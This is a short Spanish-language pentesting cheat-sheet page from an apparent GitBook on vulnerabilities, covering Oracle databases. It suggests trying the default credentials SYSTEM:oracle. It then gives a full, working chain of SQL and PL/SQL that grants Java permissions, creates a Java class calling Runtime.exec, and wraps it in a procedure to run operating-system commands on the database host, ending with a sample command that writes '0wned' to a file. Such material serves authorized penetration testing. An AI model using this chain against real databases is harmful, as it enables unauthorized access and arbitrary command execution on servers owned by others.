> For the complete documentation index, see [llms.txt](https://zanganox.gitbook.io/vulnerabilidades/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zanganox.gitbook.io/vulnerabilidades/oracle.md).

# Oracle

Probar credenciales por defecto:

SYSTEM:oracle

## Run OS Commands via Java

Una vez que se tenga acceso asignarse permisos:

```
grant javasyspriv to SYSTEM;
```

```
begin
  dbms_java.grant_permission
      ('SCOTT',
       'java.io.FilePermission',
       '<<ALL FILES>>',
       'execute');
  dbms_java.grant_permission
      ('SCOTT',
       'java.lang.RuntimePermission',
       '*',
       'writeFileDescriptor' );
end;
```

Una vez se tenga esos permisos crear el objeto java

```
create or replace and resolve java source named "JAVACMD" ASimport java.lang.*;import java.io.*;public class JAVACMD{ public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command);} };
```

Crear el procedimiento:

```
create or replace procedure javacmdproc (p_command in varchar2)as language java name 'JAVACMD.execCommand (java.lang.String)';
```

Ejecutar los comandos deseados:

```
exec javacmdproc('cmd.exe /c echo 0wned > c:\rds4.txt');
```